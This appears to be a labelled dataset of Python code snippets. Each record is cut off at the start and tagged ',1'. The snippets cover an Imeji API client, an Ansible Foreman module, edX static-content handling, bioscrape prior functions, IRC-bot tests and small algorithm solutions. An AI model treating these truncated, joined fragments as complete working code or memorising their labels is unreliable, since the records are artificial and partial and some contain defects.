self.base_link + '/%s-%s' % (title, year) return url except: return def sources(self, url, hostDict, hostprDict): try: sources = [] r = self.scraper.get(url).content match = re.compile('>> api = Imeji(service_url='http://demo.imeji.org/imeji/') >>> collection_id = list(api.collections().keys())[0] >>> collection = api.collection(collection_id) >>> collection = api.create('collection', title='the new collection') >>> item = collection.add_item(fetchUrl='http://example.org') >>> item.delete() """""" def __init__(self, cfg=None, service_url=None): self.cfg = cfg or Config() self.service_url = service_url or self.cfg.get('service', 'url') user = self.cfg.get('service', 'user', default=None) password = self.cfg.get('service', 'password', default=None) self.session = requests.Session() if user and password: self.session.auth = (user, password) def _req(self, path, method='get', json=True, assert_status=200, **kw): """"""Make a request to the API of an imeji instance. :param path: HTTP path. :param method: HTTP method. :param json: Flag signalling whether the response should be treated as JSON. :param assert_status: Expected HTTP response status of a successful request. :param kw: Additional keyword parameters will be handed through to the \ appropriate function of the requests library. :return: The return value of the function of the requests library or a decoded \ JSON object/array. """""" method = getattr(self.session, method.lower()) res = method(self.service_url + '/rest' + path, **kw) status_code = res.status_code if json: try: res = res.json() except ValueError: # pragma: no cover log.error(res.text[:1000]) raise if assert_status: if status_code != assert_status: log.error( 'got HTTP %s, expected HTTP %s' % (status_code, assert_status)) log.error(res.text[:1000] if hasattr(res, 'text') else res) raise ImejiError('Unexpected HTTP status code', res) return res def __getattr__(self, name): """"""Names of resource classes are accepted and resolved as dynamic attribute names. This allows convenient retrieval of resources as api.(id=), or api.s(q='x'). """""" return GET(self, name) def create(self, rsc, **kw): if isinstance(rsc, string_types): cls = getattr(resource, rsc.capitalize()) rsc = cls(kw, self) return rsc.save() def delete(self, rsc): return rsc.delete() def update(self, rsc, **kw): for k, v in kw.items(): setattr(rsc, k, v) return rsc.save() ",1 " c class Solution(object): def isMatch(self, s, p): """""" :type s: str :type p: str :rtype: bool """""" rs = [] """""":type: list[R]"""""" for c in p: if c == '*': rs[-1].is_star = True else: rs.append(R(c)) lr = len(rs) ls = len(s) s += '\0' dp = [[False] * (ls + 1) for _ in range(lr + 1)] dp[0][0] = True for i, r in enumerate(rs): for j in range(ls + 1): c = s[j - 1] if r.is_star: dp[i + 1][j] = dp[i][j] if j and r.match(c): dp[i + 1][j] |= dp[i + 1][j - 1] else: if j and r.match(c): dp[i + 1][j] = dp[i][j - 1] return dp[-1][-1] ",1 "d/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = ''' --- module: subscription_manifest version_added: 1.0.0 short_description: Manage Subscription Manifests description: - Upload, refresh and delete Subscription Manifests author: ""Andrew Kofink (@akofink)"" options: manifest_path: description: - Path to the manifest zip file - This parameter will be ignored if I(state=absent) or I(state=refreshed) type: path state: description: - The state of the manifest default: present choices: - absent - present - refreshed type: str repository_url: description: - URL to retrieve content from aliases: [ redhat_repository_url ] type: str extends_documentation_fragment: - theforeman.foreman.foreman - theforeman.foreman.foreman.organization ''' EXAMPLES = ''' - name: ""Upload the RHEL developer edition manifest"" theforeman.foreman.subscription_manifest: username: ""admin"" password: ""changeme"" server_url: ""https://foreman.example.com"" organization: ""Default Organization"" state: present manifest_path: ""/tmp/manifest.zip"" ''' RETURN = ''' # ''' from ansible_collections.theforeman.foreman.plugins.module_utils.foreman_helper import KatelloEntityAnsibleModule def main(): module = KatelloEntityAnsibleModule( argument_spec=dict( manifest_path=dict(type='path'), state=dict(default='present', choices=['absent', 'present', 'refreshed']), repository_url=dict(aliases=['redhat_repository_url']), ), foreman_spec=dict( organization=dict(type='entity', required=True, thin=False), ), required_if=[ ['state', 'present', ['manifest_path']], ], supports_check_mode=False, ) module.task_timeout = 5 * 60 with module.api_connection(): organization = module.lookup_entity('organization') scope = module.scope_for('organization') try: existing_manifest = organization['owner_details']['upstreamConsumer'] except KeyError: existing_manifest = None if module.state == 'present': if 'repository_url' in module.foreman_params: payload = {'redhat_repository_url': module.foreman_params['repository_url']} org_spec = dict(id=dict(), redhat_repository_url=dict()) organization = module.ensure_entity('organizations', payload, organization, state='present', foreman_spec=org_spec) try: with open(module.foreman_params['manifest_path'], 'rb') as manifest_file: files = {'content': (module.foreman_params['manifest_path'], manifest_file, 'application/zip')} params = {} if 'repository_url' in module.foreman_params: params['repository_url'] = module.foreman_params['repository_url'] params.update(scope) result = module.resource_action('subscriptions', 'upload', params, files=files, record_change=False, ignore_task_errors=True) for error in result['humanized']['errors']: if ""same as existing data"" in error: # Nothing changed, but everything ok break if ""older than existing data"" in error: module.fail_json(msg=""Manifest is older than existing data."") else: module.fail_json(msg=""Upload of the manifest failed: %s"" % error) else: module.set_changed() except IOError as e: module.fail_json(msg=""Unable to read the manifest file: %s"" % e) elif module.desired_absent and existing_manifest: module.resource_action('subscriptions', 'delete_manifest', scope) elif module.state == 'refreshed': if existing_manifest: module.resource_action('subscriptions', 'refresh_manifest', scope) else: module.fail_json(msg=""No manifest found to refresh."") if __name__ == '__main__': main() ",1 "tp://www.opensource.org/licenses/mit-license # Copyright (c) 2011 globo.com timehome@corp.globo.com from thumbor.loaders import http_loader from tornado.concurrent import return_future from urllib import unquote def _normalize_url(url): url = http_loader.quote_url(unquote(url)) if url.startswith('http:'): url = url.replace('http:', 'https:', 1) return url if url.startswith('https://') else 'https://%s' % url def validate(context, url): if url.startswith('http://'): return False return http_loader.validate(context, url, normalize_url_func=_normalize_url) def return_contents(response, url, callback, context): return http_loader.return_contents(response, url, callback, context) @return_future def load(context, url, callback): return http_loader.load_sync(context, url, callback, normalize_url_func=_normalize_url) def encode(string): return http_loader.encode(string) ",1 "right, res, i, j, target): while left <= right: middle = (left + right) // 2 candidate = nums[i] + nums[j] + nums[middle] if res is None or abs(candidate - target) < abs(res - target): res = candidate if candidate == target: return res elif candidate > target: right = middle - 1 else: left = middle + 1 return res class Solution: def threeSumClosest(self, nums: List[int], target: int) -> Optional[int]: res = None nums = sorted(nums) for i in range(len(nums)): for j in range(i + 1, len(nums)): res = bsearch(nums, j + 1, len(nums) - 1, res, i, j, target) return res def main(): sol = Solution() print(sol.threeSumClosest([-111, -111, 3, 6, 7, 16, 17, 18, 19], 13)) return 0 if __name__ == '__main__': raise SystemExit(main()) ",1 "BNAIL_TAIL_NAME = '.jpg' STREAM_DATA_CHUNK_SIZE = 1024 import os import logging import StringIO from urlparse import urlparse, urlunparse, parse_qsl from urllib import urlencode from opaque_keys.edx.locator import AssetLocator from opaque_keys.edx.keys import CourseKey, AssetKey from opaque_keys import InvalidKeyError from xmodule.modulestore.exceptions import ItemNotFoundError from xmodule.exceptions import NotFoundError from PIL import Image class StaticContent(object): def __init__(self, loc, name, content_type, data, last_modified_at=None, thumbnail_location=None, import_path=None, length=None, locked=False): self.location = loc self.name = name # a display string which can be edited, and thus not part of the location which needs to be fixed self.content_type = content_type self._data = data self.length = length self.last_modified_at = last_modified_at self.thumbnail_location = thumbnail_location # optional information about where this file was imported from. This is needed to support import/export # cycles self.import_path = import_path self.locked = locked @property def is_thumbnail(self): return self.location.category == 'thumbnail' @staticmethod def generate_thumbnail_name(original_name, dimensions=None): """""" - original_name: Name of the asset (typically its location.name) - dimensions: `None` or a tuple of (width, height) in pixels """""" name_root, ext = os.path.splitext(original_name) if not ext == XASSET_THUMBNAIL_TAIL_NAME: name_root = name_root + ext.replace(u'.', u'-') if dimensions: width, height = dimensions # pylint: disable=unpacking-non-sequence name_root += ""-{}x{}"".format(width, height) return u""{name_root}{extension}"".format( name_root=name_root, extension=XASSET_THUMBNAIL_TAIL_NAME, ) @staticmethod def compute_location(course_key, path, revision=None, is_thumbnail=False): """""" Constructs a location object for static content. - course_key: the course that this asset belongs to - path: is the name of the static asset - revision: is the object's revision information - is_thumbnail: is whether or not we want the thumbnail version of this asset """""" path = path.replace('/', '_') return course_key.make_asset_key( 'asset' if not is_thumbnail else 'thumbnail', AssetLocator.clean_keeping_underscores(path) ).for_branch(None) def get_id(self): return self.location @property def data(self): return self._data ASSET_URL_RE = re.compile(r"""""" /?c4x/ (?P[^/]+)/ (?P[^/]+)/ (?P[^/]+)/ (?P[^/]+) """""", re.VERBOSE | re.IGNORECASE) @staticmethod def is_c4x_path(path_string): """""" Returns a boolean if a path is believed to be a c4x link based on the leading element """""" return StaticContent.ASSET_URL_RE.match(path_string) is not None @staticmethod def get_static_path_from_location(location): """""" This utility static method will take a location identifier and create a 'durable' /static/.. URL representation of it. This link is 'durable' as it can maintain integrity across cloning of courseware across course-ids, e.g. reruns of courses. In the LMS/CMS, we have runtime link-rewriting, so at render time, this /static/... format will get translated into the actual /c4x/... path which the client needs to reference static content """""" if location is not None: return u""/static/{name}"".format(name=location.name) else: return None @staticmethod def get_base_url_path_for_course_assets(course_key): if course_key is None: return None assert isinstance(course_key, CourseKey) placeholder_id = uuid.uuid4().hex # create a dummy asset location with a fake but unique name. strip off the name, and return it url_path = StaticContent.serialize_asset_key_with_slash( course_key.make_asset_key('asset', placeholder_id).for_branch(None) ) return url_path.replace(placeholder_id, '') @staticmethod def get_location_from_path(path): """""" Generate an AssetKey for the given path (old c4x/org/course/asset/name syntax) """""" try: return AssetKey.from_string(path) except InvalidKeyError: # TODO - re-address this once LMS-11198 is tackled. if path.startswith('/'): # try stripping off the leading slash and try again return AssetKey.from_string(path[1:]) @staticmethod def get_asset_key_from_path(course_key, path): """""" Parses a path, extracting an asset key or creating one. Args: course_key: key to the course which owns this asset path: the path to said content Returns: AssetKey: the asset key that represents the path """""" # Clean up the path, removing any static prefix and any leading slash. if path.startswith('/static/'): path = path[len('/static/'):] path = path.lstrip('/') try: return AssetKey.from_string(path) except InvalidKeyError: # If we couldn't parse the path, just let compute_location figure it out. # It's most likely a path like /image.png or something. return StaticContent.compute_location(course_key, path) @staticmethod def get_canonicalized_asset_path(course_key, path, base_url): """""" Returns a fully-qualified path to a piece of static content. If a static asset CDN is configured, this path will include it. Otherwise, the path will simply be relative. Args: course_key: key to the course which owns this asset path: the path to said content Returns: string: fully-qualified path to asset """""" # Break down the input path. _, _, relative_path, params, query_string, fragment = urlparse(path) # Convert our path to an asset key if it isn't one already. asset_key = StaticContent.get_asset_key_from_path(course_key, relative_path) # Check the status of the asset to see if this can be served via CDN aka publicly. serve_from_cdn = False try: content = AssetManager.find(asset_key, as_stream=True) is_locked = getattr(content, ""locked"", True) serve_from_cdn = not is_locked except (ItemNotFoundError, NotFoundError): # If we can't find the item, just treat it as if it's locked. serve_from_cdn = False # Update any query parameter values that have asset paths in them. This is for assets that # require their own after-the-fact values, like a Flash file that needs the path of a config # file passed to it e.g. /static/visualization.swf?configFile=/static/visualization.xml query_params = parse_qsl(query_string) updated_query_params = [] for query_name, query_value in query_params: if query_value.startswith(""/static/""): new_query_value = StaticContent.get_canonicalized_asset_path(course_key, query_value, base_url) updated_query_params.append((query_name, new_query_value)) else: updated_query_params.append((query_name, query_value)) serialized_asset_key = StaticContent.serialize_asset_key_with_slash(asset_key) base_url = base_url if serve_from_cdn else '' return urlunparse((None, base_url, serialized_asset_key, params, urlencode(updated_query_params), fragment)) def stream_data(self): yield self._data @staticmethod def serialize_asset_key_with_slash(asset_key): """""" Legacy code expects the serialized asset key to start w/ a slash; so, do that in one place :param asset_key: """""" url = unicode(asset_key) if not url.startswith('/'): url = '/' + url # TODO - re-address this once LMS-11198 is tackled. return url class StaticContentStream(StaticContent): def __init__(self, loc, name, content_type, stream, last_modified_at=None, thumbnail_location=None, import_path=None, length=None, locked=False): super(StaticContentStream, self).__init__(loc, name, content_type, None, last_modified_at=last_modified_at, thumbnail_location=thumbnail_location, import_path=import_path, length=length, locked=locked) self._stream = stream def stream_data(self): while True: chunk = self._stream.read(STREAM_DATA_CHUNK_SIZE) if len(chunk) == 0: break yield chunk def stream_data_in_range(self, first_byte, last_byte): """""" Stream the data between first_byte and last_byte (included) """""" self._stream.seek(first_byte) position = first_byte while True: if last_byte < position + STREAM_DATA_CHUNK_SIZE - 1: chunk = self._stream.read(last_byte - position + 1) yield chunk break chunk = self._stream.read(STREAM_DATA_CHUNK_SIZE) position += STREAM_DATA_CHUNK_SIZE yield chunk def close(self): self._stream.close() def copy_to_in_mem(self): self._stream.seek(0) content = StaticContent(self.location, self.name, self.content_type, self._stream.read(), last_modified_at=self.last_modified_at, thumbnail_location=self.thumbnail_location, import_path=self.import_path, length=self.length, locked=self.locked) return content class ContentStore(object): ''' Abstraction for all ContentStore providers (e.g. MongoDB) ''' def save(self, content): raise NotImplementedError def find(self, filename): raise NotImplementedError def get_all_content_for_course(self, course_key, start=0, maxresults=-1, sort=None, filter_params=None): ''' Returns a list of static assets for a course, followed by the total number of assets. By default all assets are returned, but start and maxresults can be provided to limit the query. The return format is a list of asset data dictionaries. The asset data dictionaries have the following keys: asset_key (:class:`opaque_keys.edx.AssetKey`): The key of the asset displayname: The human-readable name of the asset uploadDate (datetime.datetime): The date and time that the file was uploadDate contentType: The mimetype string of the asset md5: An md5 hash of the asset content ''' raise NotImplementedError def delete_all_course_assets(self, course_key): """""" Delete all of the assets which use this course_key as an identifier :param course_key: """""" raise NotImplementedError def copy_all_course_assets(self, source_course_key, dest_course_key): """""" Copy all the course assets from source_course_key to dest_course_key """""" raise NotImplementedError def generate_thumbnail(self, content, tempfile_path=None, dimensions=None): """"""Create a thumbnail for a given image. Returns a tuple of (StaticContent, AssetKey) `content` is the StaticContent representing the image you want to make a thumbnail out of. `tempfile_path` is a string path to the location of a file to read from in order to grab the image data, instead of relying on `content.data` `dimensions` is an optional param that represents (width, height) in pixels. It defaults to None. """""" thumbnail_content = None # use a naming convention to associate originals with the thumbnail thumbnail_name = StaticContent.generate_thumbnail_name( content.location.name, dimensions=dimensions ) thumbnail_file_location = StaticContent.compute_location( content.location.course_key, thumbnail_name, is_thumbnail=True ) # if we're uploading an image, then let's generate a thumbnail so that we can # serve it up when needed without having to rescale on the fly if content.content_type is not None and content.content_type.split('/')[0] == 'image': try: # use PIL to do the thumbnail generation (http://www.pythonware.com/products/pil/) # My understanding is that PIL will maintain aspect ratios while restricting # the max-height/width to be whatever you pass in as 'size' # @todo: move the thumbnail size to a configuration setting?!? if tempfile_path is None: im = Image.open(StringIO.StringIO(content.data)) else: im = Image.open(tempfile_path) # I've seen some exceptions from the PIL library when trying to save palletted # PNG files to JPEG. Per the google-universe, they suggest converting to RGB first. im = im.convert('RGB') if not dimensions: dimensions = (128, 128) im.thumbnail(dimensions, Image.ANTIALIAS) thumbnail_file = StringIO.StringIO() im.save(thumbnail_file, 'JPEG') thumbnail_file.seek(0) # store this thumbnail as any other piece of content thumbnail_content = StaticContent(thumbnail_file_location, thumbnail_name, 'image/jpeg', thumbnail_file) self.save(thumbnail_content) except Exception, e: # log and continue as thumbnails are generally considered as optional logging.exception(u""Failed to generate thumbnail for {0}. Exception: {1}"".format(content.location, str(e))) return thumbnail_content, thumbnail_file_location def ensure_indexes(self): """""" Ensure that all appropriate indexes are created that are needed by this modulestore, or raise an exception if unable to. """""" pass ",1 ".inference import StochasticTrajectories from bioscrape.inference import BulkData import warnings import numpy as np class PIDInterface(): ''' PID Interface : Parameter identification interface. Super class to create parameter identification (PID) interfaces. Two PID interfaces currently implemented: Deterministic and Stochastic inference using time-series data. To add a new PIDInterface - simply add a new subclass of this parent class with your desired log-likelihood functions. You can even have your own check_prior function in that class if you do not prefer to use the built in priors with this package. ''' def __init__(self, params_to_estimate, M, prior): ''' Parent class for all PID interfaces. Arguments: * `params_to_estimate` : List of parameter names to be estimated * `M` : The bioscrape Model object to use for inference * `prior` : A dictionary specifying prior distribution. Two built-in prior functions are `uniform_prior` and `gaussian_prior`. Each prior has its own syntax for accepting the distribution parameters in the dictionary. New priors may be added. The suggested format for prior dictionaries: prior_dict = {'parameter_name': ['prior_name', prior_distribution_parameters]} For built-in uniform prior, use {'parameter_name':['uniform', lower_bound, upper_bound]} For built-in gaussian prior, use {'parameter_name':['gaussian', mean, standard_deviation, probability threshold]} New PID interfaces can be added by creating child classes of PIDInterface class as shown for Built-in PID interfaces : `StochasticInference` and `DeterministicInference` ''' self.params_to_estimate = params_to_estimate self.M = M self.prior = prior return def check_prior(self, params_dict): ''' To add new prior functions: simply add a new function similar to ones that exist and then call it here. ''' lp = 0.0 for key,value in params_dict.items(): if 'positive' in self.prior[key] and value < 0: return np.inf prior_type = self.prior[key][0] if prior_type == 'uniform': lp += self.uniform_prior(key, value) elif prior_type == 'gaussian': lp += self.gaussian_prior(key, value) elif prior_type == 'exponential': lp += self.exponential_prior(key, value) elif prior_type == 'gamma': lp += self.gamma_prior(key, value) elif prior_type == 'log-uniform': lp += self.log_uniform_prior(key, value) elif prior_type == 'log-gaussian': lp += self.log_gaussian_prior(key, value) elif prior_type == 'beta': lp += self.beta_prior(key, value) elif prior_type == 'custom': # The last element in the prior dictionary must be a callable function # The callable function shoud have the following signature : # Arguments: param_name (str), param_value(float) # Returns: log prior probability (float or numpy inf) custom_fuction = self.prior[key][-1] lp += custom_fuction(key, value) else: raise ValueError('Prior type undefined.') return lp def uniform_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns np.Inf if the param_value is outside the prior range and 0.0 if it is inside. param_name is used to look for the parameter in the prior dictionary. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') lower_bound = prior_dict[param_name][1] upper_bound = prior_dict[param_name][2] if param_value > upper_bound or param_value < lower_bound: return np.inf else: return np.log( 1/(upper_bound - lower_bound) ) def gaussian_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.Inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') mu = prior_dict[param_name][1] sigma = prior_dict[param_name][2] if sigma < 0: raise ValueError('The standard deviation must be positive.') # Using probability density function for normal distribution # Using scipy.stats.norm has overhead that affects speed up to 2x prob = 1/(np.sqrt(2*np.pi) * sigma) * np.exp(-0.5*(param_value - mu)**2/sigma**2) if prob < 0: warnings.warn('Probability less than 0 while checking Gaussian prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) def exponential_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') lambda_p = prior_dict[param_name][1] prob = lambda_p * np.exp(-lambda_p * param_value) if prob < 0: warnings.warn('Probability less than 0 while checking Exponential prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) def gamma_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') alpha = prior_dict[param_name][1] beta = prior_dict[param_name][2] from scipy.special import gamma prob = (beta**alpha)/gamma(alpha) * param_value**(alpha - 1) * np.exp(-1 * beta*param_value) if prob < 0: warnings.warn('Probability less than 0 while checking Exponential prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) def beta_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') alpha = prior_dict[param_name][1] beta = prior_dict[param_name][2] import scipy.special.beta as beta_func prob = (param_value**(alpha-1) * (1 - param_value)**(beta - 1) )/beta_func(alpha, beta) if prob < 0: warnings.warn('Probability less than 0 while checking Exponential prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) def log_uniform_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') lower_bound = prior_dict[param_name][1] upper_bound = prior_dict[param_name][2] if lower_bound < 0 or upper_bound < 0: raise ValueError('Upper and lower bounds for log-uniform prior must be positive.') if param_value > upper_bound or param_value < lower_bound: return np.inf prob = 1/(param_value* (np.log(upper_bound) - np.log(lower_bound))) if prob < 0: warnings.warn('Probability less than 0 while checking Log-Uniform prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) def log_gaussian_prior(self, param_name, param_value): ''' Check if given param_value is valid according to the prior distribution. Returns the log prior probability or np.inf if the param_value is invalid. ''' prior_dict = self.prior if prior_dict is None: raise ValueError('No prior found') mu = prior_dict[param_name][1] sigma = prior_dict[param_name][2] if sigma < 0: raise ValueError('The standard deviation must be positive.') # Using probability density function for log-normal distribution prob = 1/(param_value * np.sqrt(2*np.pi) * sigma) * np.exp((-0.5 * (np.log(param_value) - mu)**2)/sigma**2) if prob < 0: warnings.warn('Probability less than 0 while checking log-normal prior! Current parameter name and value: {0}:{1}.'.format(param_name, param_value)) return np.inf else: return np.log(prob) # Add a new class similar to this to create new interfaces. class StochasticInference(PIDInterface): def __init__(self, params_to_estimate, M, prior): self.LL_stoch = None self.dataStoch = None super().__init__(params_to_estimate, M, prior) return def setup_likelihood_function(self, data, timepoints, measurements, initial_conditions, norm_order = 2, N_simulations = 3, debug = False, **kwargs): N = np.shape(data)[0] if debug: print('Stochastic inference attributes:') print('The timepoints shape is {0}'.format(np.shape(timepoints))) print('The data shape is {0}'.format(np.shape(data))) print('The measurmenets is {0}'.format(measurements)) print('The N is {0}'.format(N)) print('Using the initial conditions: {0}'.format(initial_conditions)) self.dataStoch = StochasticTrajectories(np.array(timepoints), data, measurements, N) #If there are multiple initial conditions in a data-set, should correspond to multiple initial conditions for inference. #Note len(initial_conditions) must be equal to the number of trajectories N self.LL_stoch = STLL(model = self.M, init_state = initial_conditions, data = self.dataStoch, N_simulations = N_simulations, norm_order = norm_order) def get_likelihood_function(self, params): # Set params here and return the likelihood object. if self.LL_stoch is None: raise RuntimeError(""Must call StochasticInference.setup_likelihood_function before using StochasticInference.get_likelihood_function."") #Set params params_dict = {} for key, p in zip(self.params_to_estimate, params): params_dict[key] = p self.LL_stoch.set_init_params(params_dict) #Prior lp = self.check_prior(params_dict) if not np.isfinite(lp): return -np.inf LL_stoch_cost = self.LL_stoch.py_log_likelihood() ln_prob = lp + LL_stoch_cost return ln_prob # Add a new class similar to this to create new interfaces. class DeterministicInference(PIDInterface): def __init__(self, params_to_estimate, M, prior): self.LL_det = None self.dataDet = None super().__init__(params_to_estimate, M, prior) return def setup_likelihood_function(self, data, timepoints, measurements, initial_conditions, norm_order = 2, debug = False, **kwargs): N = np.shape(data)[0] #Create a data Objects # In this case the timepoints should be a list of timepoints vectors for each iteration self.dataDet = BulkData(np.array(timepoints), data, measurements, N) #If there are multiple initial conditions in a data-set, should correspond to multiple initial conditions for inference. #Note len(initial_conditions) must be equal to the number of trajectories N if debug: print('The deterministic inference attributes:') print('The timepoints shape is {0}'.format(np.shape(timepoints))) print('The data shape is {0}'.format(np.shape(data))) print('The measurmenets is {0}'.format(measurements)) print('The N is {0}'.format(N)) print('Using the initial conditions: {0}'.format(initial_conditions)) #Create Likelihood object self.LL_det = DLL(model = self.M, init_state = initial_conditions, data = self.dataDet, norm_order = norm_order) def get_likelihood_function(self, params): if self.LL_det is None: raise RuntimeError(""Must call DeterministicInference.setup_likelihood_function before using DeterministicInference.get_likelihood_function."") #this part is the only part that is called repeatedly params_dict = {} for key, p in zip(self.params_to_estimate, params): params_dict[key] = p self.LL_det.set_init_params(params_dict) # Check prior lp = 0 lp = self.check_prior(params_dict) if not np.isfinite(lp): return -np.inf #apply cost function LL_det_cost = self.LL_det.py_log_likelihood() ln_prob = lp + LL_det_cost return ln_prob ",1 "anghai, an asynchronous multi-server IRC bot. # # Shanghai is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Shanghai is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Shanghai. If not, see . import asyncio from unittest import mock import pytest from shanghai import event from shanghai.logging import Logger, get_logger, LogLevels # use this when debug log output is desired debug_logger = get_logger('logging', 'debug') debug_logger.setLevel(LogLevels.DDEBUG) @pytest.fixture def loop(): return asyncio.get_event_loop() @pytest.fixture def evt(): return event.build_event(""event"") # base class to subclass for an actual plugin class BasePlugin: pass @pytest.fixture def sample_plugin(): class TestPlugin(BasePlugin): @event.event def on_test(self): pass return TestPlugin class TestPriority: def test_type(self): assert isinstance(event.Priority.DEFAULT, int) def test_order(self): assert (event.Priority.PRE_CORE > event.Priority.CORE > event.Priority.POST_CORE > event.Priority.PRE_DEFAULT > event.Priority.DEFAULT > event.Priority.POST_DEFAULT) def test_lookup(self): assert event.Priority.lookup(event.Priority.CORE) is event.Priority.CORE assert event.Priority.lookup(event.Priority.CORE.value) is event.Priority.CORE assert event.Priority.lookup(-12312412) == -12312412 class TestEvent: def test_build_event(self): evt = event.build_event(""evt_name"", arg1=""val1"", arg2=None) assert evt.name == ""evt_name"" assert evt.args == {'arg1': ""val1"", 'arg2': None} class TestPrioritizedSetList: def test_bool(self): prio_set_list = event._PrioritizedSetList() assert bool(prio_set_list) is False prio_set_list.add(0, None) assert bool(prio_set_list) is True def test_add(self): prio_set_list = event._PrioritizedSetList() objs = [(i,) for i in range(5)] prio_set_list.add(0, objs[0]) assert prio_set_list.list == [(0, {objs[0]})] prio_set_list.add(0, objs[1]) assert prio_set_list.list == [(0, {objs[0], objs[1]})] prio_set_list.add(10, objs[2]) assert prio_set_list.list == [(10, {objs[2]}), (0, {objs[0], objs[1]})] prio_set_list.add(-10, objs[3]) assert prio_set_list.list == [( 10, {objs[2]}), # noqa: E201 ( 0, {objs[0], objs[1]}), # noqa: E201 (-10, {objs[3]})] prio_set_list.add(-1, objs[4]) assert prio_set_list.list == [( 10, {objs[2]}), # noqa: E201 ( 0, {objs[0], objs[1]}), # noqa: E201 ( -1, {objs[4]}), # noqa: E201 (-10, {objs[3]})] def test_add_already_added(self): prio_set_list = event._PrioritizedSetList() obj = object() prio_set_list.add(0, obj) with pytest.raises(ValueError) as excinfo: prio_set_list.add(0, obj) excinfo.match(r""has already been added"") with pytest.raises(ValueError) as excinfo: prio_set_list.add(1, obj) excinfo.match(r""has already been added"") def test_contains(self): prio_set_list = event._PrioritizedSetList() obj = object() prio_set_list.add(0, obj) assert obj in prio_set_list def test_iter(self): prio_set_list = event._PrioritizedSetList() objs = [(i,) for i in range(5)] for i, obj in enumerate(objs): prio_set_list.add(-i, obj) for i, set_ in enumerate(prio_set_list): assert set_ == (-i, {objs[i]}) def test_remove(self): prio_set_list = event._PrioritizedSetList() obj = (1,) prio_set_list.add(1, obj) assert prio_set_list prio_set_list.remove(obj) assert not prio_set_list with pytest.raises(ValueError) as excinfo: prio_set_list.remove(obj) excinfo.match(r""can not be found"") # Skipping HandlerInfo tests # since that is only to be used with the `event` decorator anyway. class TestEventDecorator: def test_no_param_usage(self): @event.event def func_name(self): pass @event.event def on_test(self): pass assert hasattr(on_test, '_h_info') h_info = on_test._h_info assert h_info.event_name == ""test"" assert func_name._h_info.event_name == ""func_name"" assert h_info.handler is on_test assert h_info.priority is event.Priority.DEFAULT assert h_info.should_enable assert not h_info.is_async def test_param_usage(self): @event.event('evt_test', priority=-12, enable=False) def on_test(self): pass assert hasattr(on_test, '_h_info') h_info = on_test._h_info assert h_info.event_name == 'evt_test' assert h_info.handler is on_test assert h_info.priority == -12 assert not h_info.should_enable assert not h_info.is_async def test_async_handler(self): @event.event(enable=False) async def on_async_test(self): pass assert hasattr(on_async_test, '_h_info') h_info = on_async_test._h_info assert h_info.event_name == 'async_test' assert h_info.handler is on_async_test assert h_info.priority is event.Priority.DEFAULT assert not h_info.should_enable assert h_info.is_async def test_prefix(self): import functools other_event_deco = functools.partial(event.event, _prefix=""__test_"") @other_event_deco def on_test(self): pass assert hasattr(on_test, '_h_info') h_info = on_test._h_info assert h_info.event_name == '__test_test' def test_core_event_deco(self): @event.core_event def on_test(self): pass assert hasattr(on_test, '_h_info') h_info = on_test._h_info assert h_info.priority is event.Priority.CORE def test_non_callable(self): with pytest.raises(TypeError) as excinfo: event.event(123) excinfo.match(r""Expected string, callable or None as first argument"") with pytest.raises(TypeError) as excinfo: event.event(""name"")([]) excinfo.match(r""Callable must be a function \(`def`\)"" r"" or coroutine function \(`async def`\)"") class TestHandlerInstance: def test_from_handler(self): @event.event def handler(): pass h_inst = event.HandlerInstance.from_handler(handler) assert h_inst.info is handler._h_info assert h_inst.enabled assert h_inst.handler is handler._h_info.handler def test_from_not_handler(self): def func(): pass with pytest.raises(ValueError) as excinfo: event.HandlerInstance.from_handler(func) excinfo.match(r""Event handler must be decorated with `@event`"") def test_hash(self): @event.event def handler(): pass h_inst = event.HandlerInstance.from_handler(handler) h_inst2 = event.HandlerInstance.from_handler(handler) assert h_inst is not h_inst2 assert hash(h_inst) == hash(h_inst2) assert h_inst != h_inst2 class TestResultSet: def test_extend(self, evt, loop): async def corofunc(): pass coro = corofunc() coro2 = corofunc() # silence ""coroutine never awaited"" warnings loop.run_until_complete(coro) loop.run_until_complete(coro2) rval = event.ReturnValue(append_events=[evt]) rval2 = event.ReturnValue(eat=True, schedule={coro}) rval3 = event.ReturnValue(append_events=[evt], insert_events=[evt], schedule={coro, coro2}) rset = event.ResultSet() rset2 = event.ResultSet() rset.extend(rval) assert not rset.eat assert rset.append_events == [evt] 